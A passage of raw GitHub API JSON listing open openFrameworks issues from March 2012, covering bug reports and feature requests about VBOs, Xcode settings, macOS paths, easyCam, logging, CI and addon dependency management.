can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies 